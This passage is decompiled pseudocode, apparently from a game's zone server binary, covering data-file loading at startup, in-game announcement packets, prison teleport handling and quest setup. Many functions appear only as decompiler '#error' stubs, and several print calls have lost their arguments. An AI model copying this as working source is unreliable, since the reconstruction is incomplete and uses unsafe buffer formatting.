(**)(void))(*(_DWORD *)&v56->ort_TableName.ort_Name[0] + 1964))(); MoveManager::MoveManager(v57); if ( !CQuest::InitQuestBF(v58, v55) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to player quest bf alloc", v54, v55); ShineExit("ZoneServer::zs_start_old"); } ++v54; } while ( v54 < 1500 ); v59 = fopen("Message.txt", "a"); fprintf(v59, "%s\n"); fclose(v59); if ( !CDataReader::Read(&gMiniHouseObjEffect, "../9Data/Shine/MiniHouseFurnitureObjEffect.shn", 0x1217u, 0xD2u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'MiniHouseFurnitureObjEffect.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v60 = fopen("Message.txt", "a"); fprintf(v60, "%s\n"); fclose(v60); MiniHouseEndureDataBox::mhe_Load(&minihouseenduredatabox); v61 = fopen("Message.txt", "a"); fprintf(v61, "%s\n"); fclose(v61); if ( !CDataReader::Read(&gMiniHouseDiceRate, "../9Data/Shine/DiceRate.shn", 0xAu, 4u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'DiceRate.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v62 = fopen("Message.txt", "a"); fprintf(v62, "%s\n"); fclose(v62); if ( !CDataReader::Read(&gMiniHouseDiecGame, "../9Data/Shine/DiceGame.shn", 0x831u, 0x2Cu) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'DiecGame.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v63 = fopen("Message.txt", "a"); fprintf(v63, "%s\n"); fclose(v63); if ( !CDataReader::Read(&gMiniHouseDiceDividind, "../9Data/Shine/DiceDividind.shn", 0xA7Eu, 0x1Fu) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'DiceDividind.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v64 = CDataReader::GetRecord(&gMiniHouseDiceDividind, 0); if ( v64 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'DiceDividind.shn'", 1); ShineExit("ZoneServer::zs_start_old"); } DiceTaiSai::Init(&gMiniHouseDiceTaiSai, *((_BYTE *)v64 + 30)); v65 = 0; do { DiceTaiSaiDividind::Init(&gMiniHouseDiceTaiSaiDividind, v65, *((_WORD *)v64 + v65)); ++v65; } while ( (unsigned int)v65 < 0xF ); if ( !DiceTaiSaiDividind::isInitFinishe(&gMiniHouseDiceTaiSaiDividind) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'DiceDividind.shn'", 2); ShineExit("ZoneServer::zs_start_old"); } v66 = fopen("Message.txt", "a"); fprintf(v66, "%s\n"); fclose(v66); MobDataBox::mdb_SkillStore(&mobdatabox, &skillnametree, &unk_608A28); if ( CWeaponTitle::Read(&gWeaponTitle.baseclass_0, "../9Data/Shine/WeaponTitleData.shn", 0x6C0u, 0x40u) != 1 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Init : WeaponTitleData loading failed.", 0); ShineExit("ZoneServer::zs_start_old"); } weapontitle = (CWeaponTitle *)&gWeaponTitle; v67 = fopen("Message.txt", "a"); fprintf(v67, "%s\n"); fclose(v67); NPCAction::Util::loadFromOptionReader>( &conditionManager, "../9Data/Shine/World/NPCAction.txt"); v68 = fopen("Message.txt", "a"); fprintf(v68, "%s\n"); fclose(v68); NPCAction::Util::loadFromOptionReader>( &actionManager, "../9Data/Shine/World/NPCAction.txt"); v69 = fopen("Message.txt", "a"); fprintf(v69, "%s\n"); fclose(v69); NPCAction::Util::loadTriggers(); v70 = fopen("Message.txt", "a"); fprintf(v70, "%s\n"); fclose(v70); v71 = CShnDataFileCheckSum::NotLoadFileName(&ShnDataFile); if ( !CShnDataFileCheckSum::isFileLoadAllComplete(&ShnDataFile) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read SHN Data File. ", v71); ShineExit(0); } v72 = clockwatch.cw_CurrTick; if ( zonevent.l_Finger.empty == -1 ) v73 = 0; else v73 = zonevent.vfptr->l_AllocZ(&zonevent, *(_DWORD *)&zonevent.l_Finger.empty); if ( !v73 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Init : EventReserve error", 0); ShineExit("ZoneServer::zs_start_old"); } *(_DWORD *)&v73->aeo_Flag._bf0 = v72 + 300; v73->aeo_Index = (AbnormalStateInfo::ABSTATEINDEX)&eventheartping; *((_DWORD *)&v73->aeo_Caster + 1) = 300; if ( zonevent.l_Finger.empty == -1 ) v74 = 0; else v74 = zonevent.vfptr->l_AllocZ(&zonevent, *(_DWORD *)&zonevent.l_Finger.empty); if ( !v74 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Init : EventReserve error", 0); ShineExit("ZoneServer::zs_start_old"); } *(_DWORD *)&v74->aeo_Flag._bf0 = v72 + 10; v74->aeo_Index = (AbnormalStateInfo::ABSTATEINDEX)&eventmobregen; *((_DWORD *)&v74->aeo_Caster + 1) = 10; v75 = fopen("Message.txt", "a"); fprintf(v75, "%s\n"); fclose(v75); NPCManager::nm_SetNPC(&npcmanager); v76 = fopen("Message.txt", "a"); fprintf(v76, "%s\n"); fclose(v76); List::l_4AllInList( (List *)&fieldlist, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))FieldMap::fm_StartScript); v77 = fopen("Message.txt", "a"); fprintf(v77, "%s\n"); fclose(v77); SpamerPenaltyDataBox::spdb_Load(&SpamerPenaltyData); FieldContainer::fc_AbstateInFieldLoad((FieldContainer *)&fieldlist); BossFieldContent::ServentBuffBossTable::sbbt_Load(&BossFieldContent::g_ServentBuffBossTable); BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load(&BossFieldContent::g_ListOfMobStateCheckAtDead); BossFieldContent::MobAutomaticActionList::maal_Load(&BossFieldContent::g_MobAutomaticActionList); --funcallanalizer.fca_stackpoint; v80 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneServer::zs_start_old"); __security_check_cookie(v79); } //----- (0053C610) -------------------------------------------------------- void __thiscall CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(CAnnounceSystem *this, char AnnounceType, const char *Msg) { char *v3; // ecx@1 const char *v4; // eax@1 const char v5; // dl@2 int v6; // esi@3 ZoneBaseSession *v7; // eax@5 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 25601; v3[2] = AnnounceType; v3[3] = strlen(Msg) + 1; v4 = Msg; do { v5 = *v4; v4[v3 + 4 - Msg] = *v4; ++v4; } while ( v5 ); v6 = (unsigned __int8)v3[3] + 4; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v6) ) { v7 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v7); } else { AssertClass::ac_AssertFail(&shineassert, "CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD : Packet Too Long", v6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD"); } //----- (0053C720) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_ItemUpgrade(CAnnounceSystem *this, Name4 *pCharName, unsigned __int16 nItemID, char nItemLevel) { CAnnounceSystem *v4; // edi@1 CDataReader::HEAD *v5; // eax@1 void *v6; // eax@3 void *v7; // esi@3 int result; // eax@4 int v9; // ecx@7 __int64 NameStr; // [sp+8h] [bp-144h]@7 int v11; // [sp+10h] [bp-13Ch]@7 int v12; // [sp+14h] [bp-138h]@7 char v13; // [sp+18h] [bp-134h]@7 char Msg[256]; // [sp+48h] [bp-104h]@7 v4 = this; v5 = this->m_AnnounceData.m_pHead; if ( v5 && v5->nNumOfRecord > 1 && (v6 = CDataReader::GetRecord(&this->m_AnnounceData, 1u), (v7 = v6) != 0) ) { if ( (unsigned int)(unsigned __int8)nItemLevel >= *((_DWORD *)v6 + 65) && ItemDataBox::operator__(&itemdatabox, nItemID) ) { NameStr = *(_QWORD *)&pCharName->n4_name[0]; v9 = *(_DWORD *)&pCharName->n4_name[12]; v11 = *(_DWORD *)&pCharName->n4_name[8]; v12 = v9; v13 = 0; sprintf(Msg, (const char *)v7 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v4, 1, Msg); result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (0053C830) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_ItemTake(CAnnounceSystem *this, Name4 *pCharName, unsigned __int16 nItemID) { int result; // eax@1 unsigned int v4; // [sp+0h] [bp-4h]@0 __security_check_cookie(v4); return result; } //----- (0053C850) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_LevelMax(CAnnounceSystem *this, Name4 *pCharName, char nLevel) { CAnnounceSystem *v3; // esi@1 CDataReader::HEAD *v4; // eax@1 void *v5; // eax@3 int v6; // ecx@5 int result; // eax@5 __int64 NameStr; // [sp+4h] [bp-144h]@5 int v9; // [sp+Ch] [bp-13Ch]@5 int v10; // [sp+10h] [bp-138h]@5 char v11; // [sp+14h] [bp-134h]@5 char Msg[256]; // [sp+44h] [bp-104h]@5 v3 = this; v4 = this->m_AnnounceData.m_pHead; if ( v4 && v4->nNumOfRecord > 4 && (v5 = CDataReader::GetRecord(&this->m_AnnounceData, 4u)) != 0 && nLevel == *((_DWORD *)v5 + 65) ) { NameStr = *(_QWORD *)&pCharName->n4_name[0]; v6 = *(_DWORD *)&pCharName->n4_name[12]; v9 = *(_DWORD *)&pCharName->n4_name[8]; v10 = v6; v11 = 0; sprintf(Msg, (const char *)v5 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v3, 4, Msg); result = 1; } else { result = 0; } return result; } //----- (0053C920) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_ClassUp(CAnnounceSystem *this, Name4 *pCharName, char nClassID) { CAnnounceSystem *v3; // esi@1 CDataReader::HEAD *v4; // eax@1 void *v5; // edi@3 int result; // eax@4 int v7; // edx@5 int v8; // ecx@5 int v9; // edx@5 int NameStr; // [sp+8h] [bp-144h]@5 int v11; // [sp+Ch] [bp-140h]@5 int v12; // [sp+10h] [bp-13Ch]@5 int v13; // [sp+14h] [bp-138h]@5 char v14; // [sp+18h] [bp-134h]@5 char Msg[256]; // [sp+48h] [bp-104h]@5 v3 = this; v4 = this->m_AnnounceData.m_pHead; if ( v4 && v4->nNumOfRecord > 5 && (v5 = CDataReader::GetRecord(&this->m_AnnounceData, 5u)) != 0 ) { v7 = *(_DWORD *)&pCharName->n4_name[4]; NameStr = *(_DWORD *)&pCharName->n4_name[0]; v8 = *(_DWORD *)&pCharName->n4_name[8]; v11 = v7; v9 = *(_DWORD *)&pCharName->n4_name[12]; v12 = v8; v13 = v9; v14 = 0; CDataReader::GetRecord(&gClassName, (unsigned __int8)nClassID); sprintf(Msg, (const char *)v5 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v3, 5, Msg); result = 1; } else { result = 0; } return result; } //----- (0053C9F0) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_CharacterTitle(CAnnounceSystem *this, Name4 *pCharName, char nCTType, char nCTElementNo) { CAnnounceSystem *v4; // edi@1 CDataReader::HEAD *v5; // eax@1 void *v6; // eax@3 void *v7; // esi@3 int v8; // eax@5 int result; // eax@5 __int64 NameStr; // [sp+8h] [bp-144h]@5 int v11; // [sp+10h] [bp-13Ch]@5 int v12; // [sp+14h] [bp-138h]@5 char v13; // [sp+18h] [bp-134h]@5 char Msg[256]; // [sp+48h] [bp-104h]@5 v4 = this; v5 = this->m_AnnounceData.m_pHead; if ( v5 && v5->nNumOfRecord > 6 && (v6 = CDataReader::GetRecord(&this->m_AnnounceData, 6u), (v7 = v6) != 0) && (unsigned int)(unsigned __int8)nCTElementNo >= *((_DWORD *)v6 + 65) ) { NameStr = *(_QWORD *)&pCharName->n4_name[0]; v8 = *(_DWORD *)&pCharName->n4_name[12]; v11 = *(_DWORD *)&pCharName->n4_name[8]; v12 = v8; v13 = 0; CCharacterTitleData::GetTitleString(&gCharacterTitleData, nCTType, nCTElementNo); sprintf(Msg, (const char *)v7 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v4, 6, Msg); result = 1; } else { result = 0; } return result; } //----- (0053CAE0) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_Roar(CAnnounceSystem *this, Name4 *pCharName, const char *Message) { CAnnounceSystem *v3; // esi@1 CDataReader::HEAD *v4; // eax@1 void *v5; // eax@3 int result; // eax@4 int v7; // ecx@5 __int64 NameStr; // [sp+4h] [bp-144h]@5 int v9; // [sp+Ch] [bp-13Ch]@5 int v10; // [sp+10h] [bp-138h]@5 char v11; // [sp+14h] [bp-134h]@5 char Msg[256]; // [sp+44h] [bp-104h]@5 v3 = this; v4 = this->m_AnnounceData.m_pHead; if ( v4 && v4->nNumOfRecord > 0xB && (v5 = CDataReader::GetRecord(&this->m_AnnounceData, 0xBu)) != 0 ) { NameStr = *(_QWORD *)&pCharName->n4_name[0]; v7 = *(_DWORD *)&pCharName->n4_name[12]; v9 = *(_DWORD *)&pCharName->n4_name[8]; v10 = v7; v11 = 0; sprintf(Msg, (const char *)v5 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v3, 11, Msg); result = 1; } else { result = 0; } return result; } //----- (0053CBA0) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_ProposeAccept(CAnnounceSystem *this, Name4 *Requestor, Name4 *Acceptor) { CAnnounceSystem *v3; // esi@1 CDataReader::HEAD *v4; // eax@1 void *v5; // eax@3 int result; // eax@4 int v7; // ecx@5 int v8; // ecx@5 __int64 RequestorStr; // [sp+4h] [bp-184h]@5 int v10; // [sp+Ch] [bp-17Ch]@5 int v11; // [sp+10h] [bp-178h]@5 char v12; // [sp+14h] [bp-174h]@5 __int64 AcceptorStr; // [sp+44h] [bp-144h]@5 int v14; // [sp+4Ch] [bp-13Ch]@5 int v15; // [sp+50h] [bp-138h]@5 char v16; // [sp+54h] [bp-134h]@5 char Msg[256]; // [sp+84h] [bp-104h]@5 v3 = this; v4 = this->m_AnnounceData.m_pHead; if ( v4 && v4->nNumOfRecord > 0xC && (v5 = CDataReader::GetRecord(&this->m_AnnounceData, 0xCu)) != 0 ) { RequestorStr = *(_QWORD *)&Requestor->n4_name[0]; v7 = *(_DWORD *)&Requestor->n4_name[12]; v10 = *(_DWORD *)&Requestor->n4_name[8]; v11 = v7; AcceptorStr = *(_QWORD *)&Acceptor->n4_name[0]; v8 = *(_DWORD *)&Acceptor->n4_name[12]; v14 = *(_DWORD *)&Acceptor->n4_name[8]; v15 = v8; v12 = 0; v16 = 0; sprintf(Msg, (const char *)v5 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v3, 12, Msg); result = 1; } else { result = 0; } return result; } //----- (0053CC80) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_WeddingStart(CAnnounceSystem *this, Name4 *Name1, Name4 *Name2) { CAnnounceSystem *v3; // esi@1 CDataReader::HEAD *v4; // eax@1 void *v5; // eax@3 int result; // eax@4 int v7; // ecx@5 int v8; // ecx@5 __int64 NameStr1; // [sp+4h] [bp-184h]@5 int v10; // [sp+Ch] [bp-17Ch]@5 int v11; // [sp+10h] [bp-178h]@5 char v12; // [sp+14h] [bp-174h]@5 __int64 NameStr2; // [sp+44h] [bp-144h]@5 int v14; // [sp+4Ch] [bp-13Ch]@5 int v15; // [sp+50h] [bp-138h]@5 char v16; // [sp+54h] [bp-134h]@5 char Msg[256]; // [sp+84h] [bp-104h]@5 v3 = this; v4 = this->m_AnnounceData.m_pHead; if ( v4 && v4->nNumOfRecord > 0xD && (v5 = CDataReader::GetRecord(&this->m_AnnounceData, 0xDu)) != 0 ) { NameStr1 = *(_QWORD *)&Name1->n4_name[0]; v7 = *(_DWORD *)&Name1->n4_name[12]; v10 = *(_DWORD *)&Name1->n4_name[8]; v11 = v7; NameStr2 = *(_QWORD *)&Name2->n4_name[0]; v8 = *(_DWORD *)&Name2->n4_name[12]; v14 = *(_DWORD *)&Name2->n4_name[8]; v15 = v8; v12 = 0; v16 = 0; sprintf(Msg, (const char *)v5 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v3, 13, Msg); result = 1; } else { result = 0; } return result; } //----- (0053CD60) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_Prison_Go(__int16 nPrisonMin) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObject::so_Prison_Go"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObject::so_Prison_Go"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObject::so_Prison_Go"); return 1; } //----- (0053CDB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Prison_Go(void *this, __int16 nPrisonMin) { void *v2; // esi@1 char v3; // al@1 unsigned int v4; // eax@3 int v5; // edx@3 char *v6; // eax@3 unsigned int v7; // eax@3 MapInfo *v8; // edi@6 char *v9; // eax@8 char *v10; // eax@8 int v11; // eax@8 char v12; // al@9 char *v13; // [sp-4h] [bp-9Ch]@7 char sMapName[4]; // [sp+14h] [bp-84h]@3 int v15; // [sp+18h] [bp-80h]@3 int v16; // [sp+1Ch] [bp-7Ch]@3 char lnkinf; // [sp+20h] [bp-78h]@9 char v18; // [sp+34h] [bp-64h]@8 char v19; // [sp+55h] [bp-43h]@8 unsigned int v20; // [sp+76h] [bp-22h]@8 unsigned int v21; // [sp+7Ah] [bp-1Eh]@8 __int16 v22; // [sp+7Eh] [bp-1Ah]@8 unsigned int v23; // [sp+88h] [bp-10h]@16 int v24; // [sp+94h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShinePlayer::so_Prison_Go"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShinePlayer::so_Prison_Go"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = **((_BYTE **)v2 + 929); v24 = 0; if ( !v3 || !*(_DWORD *)((char *)v2 + 98) ) { v13 = "ShinePlayer::so_Prison_Go"; goto LABEL_15; } v16 = 0; v15 = 0; *(_DWORD *)sMapName = 0; strncpy(sMapName, "EldPri", 0xCu); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); v5 = v15; namestring.ns_point.value = v4; v6 = (char *)&namestring + 256 * v4; *(_DWORD *)v6 = *(_DWORD *)sMapName; *((_DWORD *)v6 + 2) = v16; *((_DWORD *)v6 + 1) = v5; v6[12] = 0; v7 = BTree::operator__(&mapdatabox.mdb_btree, v6); if ( v7 == -1 ) LOWORD(v7) = -1; v7 = (unsigned __int16)v7; if ( (unsigned __int16)v7 >= mapdatabox.mdb_maxmapid || (v8 = mapdatabox.mdb_index[v7]) == 0 ) { v13 = "ShinePlayer::so_Prison_Go"; LABEL_15: --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); goto LABEL_16; } v9 = NameString::operator__(&namestring, (Name3 *)sMapName); strncpy(&v18, v9, 0xCu); v10 = NameString::operator__(&namestring, (Name3 *)sMapName); strncpy(&v19, v10, 0xCu); v11 = *((_DWORD *)v2 + 929); v20 = v8->RegenX; v21 = v8->RegenY; v22 = 0; if ( *(_BYTE *)v11 == 3 ) { *(_BYTE *)v11 = 1; BriefInfoBackup::bib_Restore( (BriefInfoBackup *)v2 + 1855, (CHARBRIEFINFO_NOTCAMP *)(*(_DWORD *)((char *)v2 + 32047) + 29)); *((_DWORD *)v2 + 8024) = (unsigned int)(307 * (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2)) >> 10; v12 = (*(int (__thiscall **)(void *, char *, signed int, signed int, signed int))(*(_DWORD *)v2 + 1472))( v2, &lnkinf, 4, 79, 80); } else { v12 = (*(int (__thiscall **)(void *, char *, signed int, signed int, signed int))(*(_DWORD *)v2 + 1472))( v2, &lnkinf, 6, 9, 10); } if ( v12 ) *((_WORD *)v2 + 16074) = nPrisonMin; --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShinePlayer::so_Prison_Go"); LABEL_16: __security_check_cookie(v23); } //----- (0053D000) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_Prison_End(int mapname, int coord) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObject::so_Prison_End"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObject::so_Prison_End"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObject::so_Prison_End"); } //----- (0053D050) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Prison_End(void *this, int mapname, int coord) { void *v3; // esi@1 int v4; // eax@1 int v5; // ecx@3 int v6; // edx@3 unsigned int v7; // eax@5 int v8; // ecx@5 char *v9; // eax@5 unsigned int v10; // eax@5 int v11; // ecx@5 char *v12; // eax@5 int v13; // edx@6 int v14; // edx@7 unsigned int v15; // eax@7 char *v16; // eax@7 unsigned int v17; // eax@7 MapInfo *v18; // eax@10 int v19; // eax@12 char sMapName[4]; // [sp+10h] [bp-84h]@3 int v21; // [sp+14h] [bp-80h]@3 int v22; // [sp+18h] [bp-7Ch]@3 char lnkinf; // [sp+1Ch] [bp-78h]@12 char v24; // [sp+30h] [bp-64h]@5 char v25; // [sp+51h] [bp-43h]@5 unsigned int v26; // [sp+72h] [bp-22h]@6 int v27; // [sp+76h] [bp-1Eh]@12 __int16 v28; // [sp+7Ah] [bp-1Ah]@12 unsigned int v29; // [sp+84h] [bp-10h]@13 int v30; // [sp+90h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShinePlayer::so_Prison_End"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShinePlayer::so_Prison_End"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)((char *)v3 + 98); v30 = 0; *((_WORD *)v3 + 16074) = 0; if ( v4 ) { *((_DWORD *)v3 + 23039) = 0; *((_DWORD *)v3 + 23040) = ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; *((_DWORD *)v3 + 23043) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)v3 + 23042) = 0; if ( mapname ) { v5 = *(_DWORD *)(mapname + 4); *(_DWORD *)sMapName = *(_DWORD *)mapname; v6 = *(_DWORD *)(mapname + 8); v21 = v5; v22 = v6; } else { v22 = 0; v21 = 0; *(_DWORD *)sMapName = 0; strncpy(sMapName, "Rou", 0xCu); } v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); v8 = *(_DWORD *)sMapName; namestring.ns_point.value = v7; v9 = (char *)&namestring + 256 * v7; *((_DWORD *)v9 + 1) = v21; *(_DWORD *)v9 = v8; *((_DWORD *)v9 + 2) = v22; v9[12] = 0; strncpy(&v24, v9, 0xCu); v10 = namestring.ns_point.mask & (namestring.ns_point.value + 1); v11 = *(_DWORD *)sMapName; namestring.ns_point.value = v10; v12 = (char *)&namestring + 256 * v10; *((_DWORD *)v12 + 1) = v21; *(_DWORD *)v12 = v11; *((_DWORD *)v12 + 2) = v22; v12[12] = 0; strncpy(&v25, v12, 0xCu); if ( coord ) { v13 = *(_DWORD *)(coord + 4); v26 = *(_DWORD *)coord; LABEL_12: v19 = *(_DWORD *)v3; v27 = v13; v28 = 0; (*(void (__thiscall **)(void *, char *, signed int, signed int, signed int))(v19 + 1472))(v3, &lnkinf, 6, 9, 10); goto LABEL_13; } v14 = v21; v15 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v15; v16 = (char *)&namestring + 256 * v15; *(_DWORD *)v16 = *(_DWORD *)sMapName; *((_DWORD *)v16 + 2) = v22; *((_DWORD *)v16 + 1) = v14; v16[12] = 0; v17 = BTree::operator__(&mapdatabox.mdb_btree, v16); if ( v17 == -1 ) LOWORD(v17) = -1; v17 = (unsigned __int16)v17; if ( (unsigned __int16)v17 < mapdatabox.mdb_maxmapid ) { v18 = mapdatabox.mdb_index[v17]; if ( v18 ) { v26 = v18->RegenX; v13 = v18->RegenY; goto LABEL_12; } } } LABEL_13: --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShinePlayer::so_Prison_End"); __security_check_cookie(v29); } //----- (0053D2A0) -------------------------------------------------------- void __thiscall FieldMap::fm_QuestPS_Start(void *this, char *filename, char *initflag) { void *v3; // esi@1 Movie::CinemaComplex *v4; // ecx@1 PineScriptToken initval; // [sp+4h] [bp-110h]@1 unsigned int v6; // [sp+104h] [bp-10h]@1 int v7; // [sp+110h] [bp-4h]@1 v3 = this; PineScriptToken::PineScriptToken(&initval, initflag); v4 = (Movie::CinemaComplex *)*((_DWORD *)v3 + 17); v7 = 0; Movie::CinemaComplex::cc_PlayFilm(v4, filename, &initval); v7 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&initval); __security_check_cookie(v6); } //----- (0053D340) -------------------------------------------------------- #error "53D340: undefined or illegal type '#440' (funcsize=23)" //----- (0053D3A0) -------------------------------------------------------- void __thiscall CQuestZone::_CQuestZone(CQuestZone *this) { CQuest *v1; // esi@1 v1 = (CQuest *)this; this->baseclass_0.vfptr = (CQuestVtbl *)&CQuestZone::_vftable_; CQuestParserScript::_CQuestParserScript(&this->m_ScriptParser); CQuest::_CQuest(v1); } // 5D5C30: using guessed type int (__stdcall *CQuestZone___vftable_)(int sklidx); //----- (0053D400) -------------------------------------------------------- #error "53D400: undefined or illegal type '#440' (funcsize=3)" //----- (0053D410) -------------------------------------------------------- char __thiscall QuestRewardPacket::qrp_StoreItem(QuestRewardPacket *this, unsigned __int16 itm, int lot) { int v3; // eax@1 char result; // al@2 v3 = this->qrp_ItemPoint; if ( (unsigned int)v3 < 0xA ) { this->qrp_Item[v3].id = itm; this->qrp_Item[this->qrp_ItemPoint++].lot = lot; result = 1; } else { result = 0; } return result; } //----- (0053D440) -------------------------------------------------------- #error "53D440: undefined or illegal type '#440' (funcsize=8)" //----- (0053D460) -------------------------------------------------------- #error "53D460: undefined or illegal type '#440' (funcsize=8)" //----- (0053D480) -------------------------------------------------------- #error "53D480: undefined or illegal type '#440' (funcsize=11)" //----- (0053D4A0) -------------------------------------------------------- #error "53D4A0: undefined or illegal type '#440' (funcsize=8)" //----- (0053D4C0) -------------------------------------------------------- void __thiscall CQuestZone::InitNewPlayer(CQuestZone *this) { CQuestZone *v1; // esi@1 CQuestData *v2; // eax@1 QUEST_DATA_HEAD *v3; // eax@2 unsigned __int16 v4; // ax@6 int v5; // [sp-4h] [bp-18h]@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CQuestZone::InitNewPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CQuestZone::InitNewPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->baseclass_0.m_pQuestData; if ( v2 ) { v3 = v2->m_pDataHead; if ( v3 ) v5 = v3->NumOfQuest; else v5 = 0; } else { AssertClass::ac_AssertFail(&shineassert, "CQuestZone::InitNewPlayer : m_pQuestData NULL", 0); v1->baseclass_0.m_pQuestData = &gQuestData; if ( gQuestData.m_pDataHead ) v4 = gQuestData.m_pDataHead->NumOfQuest; else v4 = 0; v5 = v4; } CQuest::InitQuestBF(&v1->baseclass_0, v5); CQuest::ClearQuest(&v1->baseclass_0); v1->m_ParsingQuestID = -1; v1->m_bWaitResult = 0; v1->m_QuestClickNPC = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CQuestZone::InitNewPlayer"); } //----- (0053D5D0) -------------------------------------------------------- #error "53D5D0: undefined or illegal type '#440' (funcsize=57)" //----- (0053D6D0) -------------------------------------------------------- #error "53D6D0: undefined or illegal type '#440' (funcsize=94)" //----- (0053D850) -------------------------------------------------------- #error "53D850: undefined or illegal type '#440' (funcsize=375)" //----- (0053DD60) -------------------------------------------------------- #error "53DD60: undefined or illegal type '#440' (funcsize=88)" //----- (0053DEA0) -------------------------------------------------------- #error "53DEA0: undefined or illegal type '#440' (funcsize=160)" //----- (0053E0F0) -------------------------------------------------------- #error "53E0F0: undefined or illegal type '#440' (funcsize=101)" //----- (0053E270) -------------------------------------------------------- #error "53E270: undefined or illegal type '#440' (funcsize=69)" //----- (0053E380) -------------------------------------------------------- #error "53E380: undefined or illegal type '#440' (funcsize=110)" //----- (0053E510) -------------------------------------------------------- #error "53E510: undefined or illegal type '#440' (funcsize=96)" //----- 